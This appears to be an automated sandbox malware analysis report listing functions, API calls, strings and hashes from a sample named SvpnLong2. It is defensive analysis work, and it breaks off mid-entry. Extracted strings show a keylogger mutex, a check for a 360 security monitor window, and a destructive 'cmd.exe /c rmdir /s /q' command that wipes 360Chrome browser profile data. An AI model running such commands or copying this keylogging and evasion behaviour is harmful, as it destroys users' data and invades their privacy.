Instruction ID: 9c92cde59510652776c51bdc31400a642890ad3a181173f2576fe727c6e833fe
Opcode Fuzzy Hash: 3e6a505305982a7036bb7baf798e1af14b3eaeebb1605479fe5373ab37efe9b9
Instruction Fuzzy Hash: C1319A30A09706D6FBD6BBBDA4447A92295EB25398F544625CD12C52A7FF28C3C48263

Function 000000018006C638 Relevance: 10.6, APIs: 7, Instructions: 93COMMON

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 000000018006C65B
_errno.LIBCMT ref: 000000018006C663

Memory Dump Source

Source File: 00000000.00000003.2690058333.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_180001000_SvpnLong2.jbxd

Similarity

API ID: __doserrno_errno
String ID:
API String ID: 921712934-0
Opcode ID: 90ca5fcde90d50bdb870685d72a997ccdebf842be0ca690824162be610e28a72
Instruction ID: b8579820e33d65c044e4227427851025ec431afe1ca1e4c47b796e150db43b0e
Opcode Fuzzy Hash: 90ca5fcde90d50bdb870685d72a997ccdebf842be0ca690824162be610e28a72
Instruction Fuzzy Hash: 13216B71218B0C4FF38AAB5CEC827F932C1EB4D362F108249F426871D3EE645A0547A7

Function 000000018006AC78 Relevance: 10.6, APIs: 7, Instructions: 89COMMON

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 000000018006AC9B
_errno.LIBCMT ref: 000000018006ACA3

Memory Dump Source

Source File: 00000000.00000003.2690058333.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_180001000_SvpnLong2.jbxd

Similarity

API ID: __doserrno_errno
String ID:
API String ID: 921712934-0
Opcode ID: 0883a0199ab4cb11e3532018fce514ea9b36b7531d3369ae6ad4d0178d59b995
Instruction ID: 7994e845f13f57a003523ca69db380e8f79ba5858bd545cd7dedd60565fc18ef
Opcode Fuzzy Hash: 0883a0199ab4cb11e3532018fce514ea9b36b7531d3369ae6ad4d0178d59b995
Instruction Fuzzy Hash: E0212C71518B0C4FF396BB58AC423FA36C1DB4E362F108208F426471E7EE645E098792

Function 000000018006ADF4 Relevance: 10.6, APIs: 7, Instructions: 75COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 000000018006AE18
_errno.LIBCMT ref: 000000018006AE31
write_char.LIBCMT ref: 000000018006AE46
_errno.LIBCMT ref: 000000018006AE53
write_char.LIBCMT ref: 000000018006AE65
_errno.LIBCMT ref: 000000018006AE6E
_errno.LIBCMT ref: 000000018006AE78

Memory Dump Source

Source File: 00000000.00000003.2690058333.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_180001000_SvpnLong2.jbxd

Similarity

API ID: _errno$write_char
String ID:
API String ID: 1772936973-0
Opcode ID: e2f68bee41dbd6cd76230d3d05f830c74e78c7e6d18f907a46e8d4ef8eca8926
Instruction ID: 5b418ec583e44945effc0d6415aa5a3f002de5ac4ae43d3505af642ed8d5b943
Opcode Fuzzy Hash: e2f68bee41dbd6cd76230d3d05f830c74e78c7e6d18f907a46e8d4ef8eca8926
Instruction Fuzzy Hash: EE21A471518B4C4FFBE2BF58984139632E1EB1E352F208459F458C7293DA319E448B82

Function 0000000180069E90 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 0000000180069EA9
_errno.LIBCMT ref: 0000000180069EB1
_close_nolock.LIBCMT ref: 0000000180069F08

Memory Dump Source

Source File: 00000000.00000003.2690058333.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_180001000_SvpnLong2.jbxd

Similarity

API ID: __doserrno_close_nolock_errno
String ID:
API String ID: 186997739-0
Opcode ID: 1dc4980779cbc6fd079ca8ff8ca600852dbe0e31902fb43e5e96f3061ac3f56e
Instruction ID: f6513e4a9d858192cff96f0bce3d36fd690a2a76e563baffa10ae2433ad0d364
Opcode Fuzzy Hash: 1dc4980779cbc6fd079ca8ff8ca600852dbe0e31902fb43e5e96f3061ac3f56e
Instruction Fuzzy Hash: 7F210B32115B084FE3C6AB94AC523E935D5EB493A2F22852CF035C71D3EE748A488752

Function 018520E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 47stringCOMMON

Download Yara Rule

APIs

GetComputerNameA.KERNEL32 ref: 0185212E
lstrcpy.KERNEL32 ref: 01852144
wsprintfA.USER32 ref: 01852173
lstrlen.KERNEL32 ref: 0185217C

Strings

SOFTWARE\%sW\, xrefs: 01852164
UnKnowW, xrefs: 01852138

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: ComputerNamelstrcpylstrlenwsprintf
String ID: SOFTWARE\%sW\$UnKnowW
API String ID: 2137660125-763317463
Opcode ID: 015c0d402c38aad2986f10f9c1eca145c3abe9d49910fcac14c6d4b5823fd700
Instruction ID: e744b376ad6f64713a4fbabe9393f84a577ebaa8977fb64fa350ff6ff9c414d4
Opcode Fuzzy Hash: 015c0d402c38aad2986f10f9c1eca145c3abe9d49910fcac14c6d4b5823fd700
Instruction Fuzzy Hash: C2116331318A8291EB60DF15F8543DA7762F7D9784F844012DB8D87A68EF3DC249CB01

Function 0184DCA0 Relevance: 10.5, APIs: 7, Instructions: 44filesynchronizationstringCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 0184DCBC
CreateFileA.KERNEL32 ref: 0184DCEE
SetFilePointer.KERNEL32 ref: 0184DD13
lstrlen.KERNEL32 ref: 0184DD1C
WriteFile.KERNEL32 ref: 0184DD39
CloseHandle.KERNEL32 ref: 0184DD42
ReleaseMutex.KERNEL32 ref: 0184DD54

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: File$CloseCreateHandleMutexObjectPointerReleaseSingleWaitWritelstrlen
String ID:
API String ID: 4202892810-0
Opcode ID: d38896a3890081b88ef905279f1f8f3bcd07668c588b65e7c678813c6d7bd9a0
Instruction ID: 0a80901e15d0c65c40c580a7baaa29b999211932356edf0ea299671063cad452
Opcode Fuzzy Hash: d38896a3890081b88ef905279f1f8f3bcd07668c588b65e7c678813c6d7bd9a0
Instruction Fuzzy Hash: 9E113071305A4082FB14CF55F929765B760FB89BA8F548314EAAE43BA4DF7CC149CB01

Function 0184E1F0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 34sleepsynchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32 ref: 0184E20B
GetLastError.KERNEL32 ref: 0184E214
GetModuleHandleA.KERNEL32 ref: 0184E223

Part of subcall function 0184DA90: SHGetFolderPathA.SHELL32 ref: 0184DACD
Part of subcall function 0184DA90: lstrcat.KERNEL32 ref: 0184DADD
Part of subcall function 0184DA90: CreateMutexA.KERNEL32 ref: 0184DAEE
Part of subcall function 0184DA90: WaitForSingleObject.KERNEL32 ref: 0184DB06
Part of subcall function 0184DA90: CreateFileA.KERNEL32 ref: 0184DB34
Part of subcall function 0184DA90: GetFileSize.KERNEL32 ref: 0184DB42
Part of subcall function 0184DA90: CloseHandle.KERNEL32 ref: 0184DB4D
Part of subcall function 0184DA90: DeleteFileA.KERNEL32 ref: 0184DB5E
Part of subcall function 0184DA90: ReleaseMutex.KERNEL32 ref: 0184DB70

Part of subcall function 0184DEB0: GetKeyState.USER32 ref: 0184DFA5
Part of subcall function 0184DEB0: lstrlen.KERNEL32 ref: 0184DFFE
Part of subcall function 0184DEB0: wsprintfA.USER32 ref: 0184E06C
Part of subcall function 0184DEB0: lstrlen.KERNEL32 ref: 0184E105

Sleep.KERNEL32 ref: 0184E250
CloseHandle.KERNEL32 ref: 0184E261

Strings

K^e^y^L^o^g^g^e^r, xrefs: 0184E200

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: CreateFileHandleMutex$Closelstrlen$DeleteErrorFolderLastModuleObjectPathReleaseSingleSizeSleepStateWaitlstrcatwsprintf
String ID: K^e^y^L^o^g^g^e^r
API String ID: 809812578-2826508260
Opcode ID: 89460a35c748eb327358448a72d58bcfd2f9277bad92bf41dea310a58b81c931
Instruction ID: 2fdc429195419bedfd681ee78ba63dcc7445517429ad6fb0c3a16a45315eb34a
Opcode Fuzzy Hash: 89460a35c748eb327358448a72d58bcfd2f9277bad92bf41dea310a58b81c931
Instruction Fuzzy Hash: 1B01AF31204B4AC3EB54DF65F8443AE73A1FB9A784F459425E74E86664DF3CC289C700

Function 0184FB30 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 34sleeplibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 01842AC0: CreateToolhelp32Snapshot.KERNEL32 ref: 01842AD6

LoadLibraryW.KERNEL32 ref: 0184FB48

Part of subcall function 0184F2D0: CreateFileW.KERNEL32 ref: 0184F303

FindWindowW.USER32 ref: 0184FB69
IsDlgButtonChecked.USER32 ref: 0184FB84
Sleep.KERNEL32 ref: 0184FB8F

Part of subcall function 0184F360: GetCurrentProcessId.KERNEL32 ref: 0184F3A0
Part of subcall function 0184F360: GetCurrentThreadId.KERNEL32 ref: 0184F3A8
Part of subcall function 0184F360: VirtualProtect.KERNEL32 ref: 0184F3CF
Part of subcall function 0184F360: VirtualProtect.KERNEL32 ref: 0184F3F6
Part of subcall function 0184F360: CreateProcessWithLogonW.ADVAPI32 ref: 0184F450
Part of subcall function 0184F360: VirtualProtect.KERNEL32 ref: 0184F475
Part of subcall function 0184F360: VirtualProtect.KERNEL32 ref: 0184F49C
Part of subcall function 0184F360: CloseHandle.KERNEL32 ref: 0184F4AC

Strings

user32.dll, xrefs: 0184FB41
Q360SafeMonClass, xrefs: 0184FB60

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: ProtectVirtual$Create$CurrentProcess$ButtonCheckedCloseFileFindHandleLibraryLoadLogonSleepSnapshotThreadToolhelp32WindowWith
String ID: Q360SafeMonClass$user32.dll
API String ID: 200090976-537184153
Opcode ID: 921665ad5ac78c43fd3a9f23d873db2a3a650aae6eac6ae2d962f46c08df0d72
Instruction ID: 161f7f6bc2f385ff1bf0747fadea64fc1ae6bf470453dc5509cb5fd63a075aaf
Opcode Fuzzy Hash: 921665ad5ac78c43fd3a9f23d873db2a3a650aae6eac6ae2d962f46c08df0d72
Instruction Fuzzy Hash: 3DF08930711B4A43FF15AB7EECA47A92251AF99751F48543C8B0AC5660FE2CCB44C712

Function 0184EC62 Relevance: 10.5, APIs: 1, Strings: 5, Instructions: 25processCOMMON

Download Yara Rule

APIs

Part of subcall function 0184F1D0: CreateToolhelp32Snapshot.KERNEL32 ref: 0184F1F7

WinExec.KERNEL32 ref: 0184ECC3

Part of subcall function 0184F130: SHGetKnownFolderPath.SHELL32 ref: 0184F166
Part of subcall function 0184F130: wsprintfW.USER32 ref: 0184F184

Strings

\AppData\Roaming\360se6\User Data\Default, xrefs: 0184EC79, 0184EC9F
360chrome.exe, xrefs: 0184ECAE
cmd.exe /c rmdir /s /q "%userprofile%\AppData\Local\360Chrome\Chrome\User Data\Default", xrefs: 0184ECBA
360se6.exe, xrefs: 0184EC69
360se.exe, xrefs: 0184EC8F

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: CreateExecFolderKnownPathSnapshotToolhelp32wsprintf
String ID: 360chrome.exe$360se.exe$360se6.exe$\AppData\Roaming\360se6\User Data\Default$cmd.exe /c rmdir /s /q "%userprofile%\AppData\Local\360Chrome\Chrome\User Data\Default"
API String ID: 3785949191-1706831714
Opcode ID: d1eaf7f8e489474969b91f961f9eca55b1cc3b354283557bd717e9cd878dd9fd
Instruction ID: 7f4d4ef230a357de2cc551363e23bf546284eac05a5df794921fb16abf1819b1
Opcode Fuzzy Hash: d1eaf7f8e489474969b91f961f9eca55b1cc3b354283557bd717e9cd878dd9fd
Instruction Fuzzy Hash: 5AF0F834210A4692FE11EF29FC903E52360BB99784FC8A42A8A49C2174EF2CD74AC305

Function 018610F0 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 20COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0186110F

Part of subcall function 01854958: _amsg_exit.LIBCMT ref: 0185496E

Part of subcall function 01859D24: _getptd.LIBCMT ref: 01859D28

_getptd.LIBCMT ref: 01861121
_getptd.LIBCMT ref: 0186112F

Strings

RCC, xrefs: 018610F7
csm, xrefs: 01861107
MOC, xrefs: 018610FF

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: _getptd$_amsg_exit
String ID: MOC$RCC$csm
API String ID: 2610988583-2671469338
Opcode ID: 10d97835973d9dff22855d7531b95dc321e5d89865d4bff4cac848954f1654b4
Instruction ID: 883abba6716029a6988b6fed9f08d8acfee3f5b16da884488b3938670c5ed65d
Opcode Fuzzy Hash: 10d97835973d9dff22855d7531b95dc321e5d89865d4bff4cac848954f1654b4
Instruction Fuzzy Hash: 16E01236A00546C6DB55AB6CC0493EC35B4FBE870AF96E0618A54C2321D7BD46D08B53

Function 01855EF0 Relevance: 9.1, APIs: 6, Instructions: 118COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 01855F0F

Part of subcall function 01854958: _amsg_exit.LIBCMT ref: 0185496E

Part of subcall function 01855B2C: _getptd.LIBCMT ref: 01855B36
Part of subcall function 01855B2C: _amsg_exit.LIBCMT ref: 01855BD3

Part of subcall function 01855BE8: GetOEMCP.KERNEL32(?,?,?,?,?,?,?,01855F2A,?,?,?,?,?,018560E7), ref: 01855C12

Part of subcall function 018552FC: malloc.LIBCMT ref: 01855327
Part of subcall function 018552FC: Sleep.KERNEL32(?,?,00000000,01859B11,?,?,00000000,01859BBB,?,?,?,?,?,?,00000000,0185492C), ref: 0185533A

free.LIBCMT ref: 01855F9A

Part of subcall function 01853D28: HeapFree.KERNEL32(?,?,00000000,01854940,?,?,000002C8,01853209,?,?,?,?,0185A510,?,?,00000000), ref: 01853D3E
Part of subcall function 01853D28: _errno.LIBCMT ref: 01853D48
Part of subcall function 01853D28: GetLastError.KERNEL32(?,?,00000000,01854940,?,?,000002C8,01853209,?,?,?,?,0185A510,?,?,00000000), ref: 01853D50

_lock.LIBCMT ref: 01855FCA
free.LIBCMT ref: 0185606D
free.LIBCMT ref: 01856099
_errno.LIBCMT ref: 0185609E

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: free$_amsg_exit_errno_getptd$ErrorFreeHeapLastSleep_lockmalloc
String ID:
API String ID: 3894533514-0
Opcode ID: b891349ff1fe49bd5c6ff5d5418ca1bc2c36bcc55aa6a8fb56ddf5fa22d6174b
Instruction ID: 7dcbdd11175576c72c00c47b0547bc1e0441a04e092be2faf2954e7333b3f0b8
Opcode Fuzzy Hash: b891349ff1fe49bd5c6ff5d5418ca1bc2c36bcc55aa6a8fb56ddf5fa22d6174b
Instruction Fuzzy Hash: DC415A3660068186DB96DF29E44036E7BB1F790B98FA88116DE5AD7364DF3CC241C712

Function 01858BB4 Relevance: 9.1, APIs: 6, Instructions: 79COMMON

Download Yara Rule

APIs

_lock.LIBCMT ref: 01858BDB

Part of subcall function 01859B98: _amsg_exit.LIBCMT ref: 01859BC2

_errno.LIBCMT ref: 01858BEF
_invalid_parameter_noinfo.LIBCMT ref: 01858BFB

Part of subcall function 01855664: GetCurrentProcess.KERNEL32(?,?,?,?,01855706), ref: 0185567C

calloc.LIBCMT ref: 01858C3D
_errno.LIBCMT ref: 01858C4A
_errno.LIBCMT ref: 01858C55

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: _errno$CurrentProcess_amsg_exit_invalid_parameter_noinfo_lockcalloc
String ID:
API String ID: 1209116363-0
Opcode ID: 2f70ec6ef3d5c3994c8657d7c15eef66e98feaa01b428a6d9299e4e104dbd0a3
Instruction ID: a59979a7a342e7b216382c56983f074ef2b1a3f567e339c73cb604caae364c4a
Opcode Fuzzy Hash: 2f70ec6ef3d5c3994c8657d7c15eef66e98feaa01b428a6d9299e4e104dbd0a3
Instruction Fuzzy Hash: B021A431302B12C2EB95AF6AA55021EB765FB56BC4B88842ADF49CB714DF3CDA15C702

Function 0185976C Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,018542ED), ref: 01859785
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,018542ED), ref: 018597DC
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,018542ED), ref: 01859817
free.LIBCMT ref: 01859824
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,018542ED), ref: 0185982F
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,018542ED), ref: 0185983D

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide$free
String ID:
API String ID: 517548149-0
Opcode ID: e92270d1c1e25466c38415bf8e68df5b368d6513ed967c410428f0e42ef408fa
Instruction ID: 39be4f909e56e28c21f4761cb0f39f1701774451ac65c034af830af192d3ee99
Opcode Fuzzy Hash: e92270d1c1e25466c38415bf8e68df5b368d6513ed967c410428f0e42ef408fa
Instruction Fuzzy Hash: E3219232A08B80C6DB659F26B40035EB7A5FB89FC8F488025DE8E57B14EF38C251C705

Function 018548D4 Relevance: 9.0, APIs: 6, Instructions: 37threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,000002C8,01853209,?,?,?,?,0185A510,?,?,00000000,018553AF,?,?,00000000), ref: 018548DE
FlsGetValue.KERNEL32(?,?,000002C8,01853209,?,?,?,?,0185A510,?,?,00000000,018553AF,?,?,00000000), ref: 018548EC
SetLastError.KERNEL32(?,?,000002C8,01853209,?,?,?,?,0185A510,?,?,00000000,018553AF,?,?,00000000), ref: 01854944

Part of subcall function 0185537C: Sleep.KERNEL32(?,?,00000000,01853110), ref: 018553C1

FlsSetValue.KERNEL32(?,?,000002C8,01853209,?,?,?,?,0185A510,?,?,00000000,018553AF,?,?,00000000), ref: 01854918
free.LIBCMT ref: 0185493B

Part of subcall function 0185481C: _lock.LIBCMT ref: 01854870
Part of subcall function 0185481C: _lock.LIBCMT ref: 0185488F

GetCurrentThreadId.KERNEL32 ref: 0185492C

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: ErrorLastValue_lock$CurrentSleepThreadfree
String ID:
API String ID: 3106088686-0
Opcode ID: 551bd058d2fc0dc99d20227415f025a99cecc39f881a7ef097d0105796cd8f9d
Instruction ID: f0ccbcd48d3b028e62225cc15628faeb609c75d03150aeb85ec1a25b193fedbf
Opcode Fuzzy Hash: 551bd058d2fc0dc99d20227415f025a99cecc39f881a7ef097d0105796cd8f9d
Instruction Fuzzy Hash: 9B016D35301B4187EB49AF79E4593686261FB89BE0F58C224CE2A833E0EE3CC685C311

Function 01861998 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 143COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 018619C9

Part of subcall function 01854958: _amsg_exit.LIBCMT ref: 0185496E

_getptd.LIBCMT ref: 018619E7
_CallSETranslator.LIBCMT ref: 01861A2F

Part of subcall function 01860988: _getptd.LIBCMT ref: 018609AF

Strings

RCC, xrefs: 01861A05
MOC, xrefs: 018619FD

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: _getptd$CallTranslator_amsg_exit
String ID: MOC$RCC
API String ID: 1374396951-2084237596
Opcode ID: 95f1fef18e8ca945eb00305b571a67a1780b62948f8ff94e84b57b73b677f786
Instruction ID: 6a3d227023bfadba23d0e4e7e0a422d2aa8e4ebc73e1633485df9899c594612d
Opcode Fuzzy Hash: 95f1fef18e8ca945eb00305b571a67a1780b62948f8ff94e84b57b73b677f786
Instruction Fuzzy Hash: DC51F572604AC6C5CF60DF19E0843ADB7A8FBC1B89F484526DB8E87619DF78C251CB01

Function 00007FF741121A60 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 66COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 00007FF741121B0E
_unlock.LIBCMTD ref: 00007FF741121B79

Strings

(fNewBits==_CRTDBG_REPORT_FLAG) || ((fNewBits & 0x0ffff & ~(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_DELAY_FREE_MEM_DF | _CRTDBG_CHECK_ALWAY, xrefs: 00007FF741121AAA, 00007FF741121B07
_CrtSetDbgFlag, xrefs: 00007FF741121B00
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 00007FF741121ABF, 00007FF741121AF9

Memory Dump Source

Source File: 00000000.00000002.2927544224.00007FF741101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF741100000, based on PE: true

Associated: 00000000.00000002.2927527053.00007FF741100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927544224.00007FF741170000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927602746.00007FF741178000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927602746.00007FF74118B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927638566.00007FF741193000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927652277.00007FF741198000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927665630.00007FF74119D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF74119E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF7411AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF741BAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF7425AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff741100000_SvpnLong2.jbxd

Similarity

API ID: _invalid_parameter_unlock
String ID: (fNewBits==_CRTDBG_REPORT_FLAG) || ((fNewBits & 0x0ffff & ~(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_DELAY_FREE_MEM_DF | _CRTDBG_CHECK_ALWAY$_CrtSetDbgFlag$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c
API String ID: 2816345473-1282596470
Opcode ID: 27e2866f54ce162fac6007b4ce63b3ceef107bd06370e105abb627252dc7461f
Instruction ID: bc72f1bddbd7dda7aea547f152933f0bc89e8ed41f3fbe78728a4494510412ea
Opcode Fuzzy Hash: 27e2866f54ce162fac6007b4ce63b3ceef107bd06370e105abb627252dc7461f
Instruction Fuzzy Hash: C6311371A2D642CAE352BB64F84072AF7A1FB44354F801235E25D86AA5DBFCE845CF20

Function 01861511 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32 ref: 01861564
_getptd.LIBCMT ref: 01861519

Part of subcall function 01854958: _amsg_exit.LIBCMT ref: 0185496E

_getptd.LIBCMT ref: 018615DB
_getptd.LIBCMT ref: 018615E7

Strings

csm, xrefs: 0186159B

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: _getptd$ExceptionRaise_amsg_exit
String ID: csm
API String ID: 4155239085-1018135373
Opcode ID: 3d7b47e0f6bab72505bbf465c5b16e1dcb4b87de87066540f1dd17ecd2e8909f
Instruction ID: 1c3e21f51c3a19983ae1a8c69fe0a937f78d090dd3f4f79cfa1434748453de15
Opcode Fuzzy Hash: 3d7b47e0f6bab72505bbf465c5b16e1dcb4b87de87066540f1dd17ecd2e8909f
Instruction Fuzzy Hash: 6B218E3620464582DB30DF1AE04879EB374F795BA5F048225DFAA83B55DF39D686CB01

Function 018523A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 52stringCOMMON

Download Yara Rule

APIs

GetComputerNameA.KERNEL32 ref: 018523FF
lstrcpy.KERNEL32 ref: 01852415
wsprintfA.USER32 ref: 01852444

Strings

UnKnow, xrefs: 01852409
SOFTWARE\%sW\, xrefs: 01852435

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: ComputerNamelstrcpywsprintf
String ID: SOFTWARE\%sW\$UnKnow
API String ID: 2045598086-1925786254
Opcode ID: b09e1c1d355f8bf5026c2120b41cb49257bb75509ccab1b729d36f2766de360e
Instruction ID: da897ff90ff23cc006017a5f9465f3fe17412f87c10bce130d41ff59faa75339
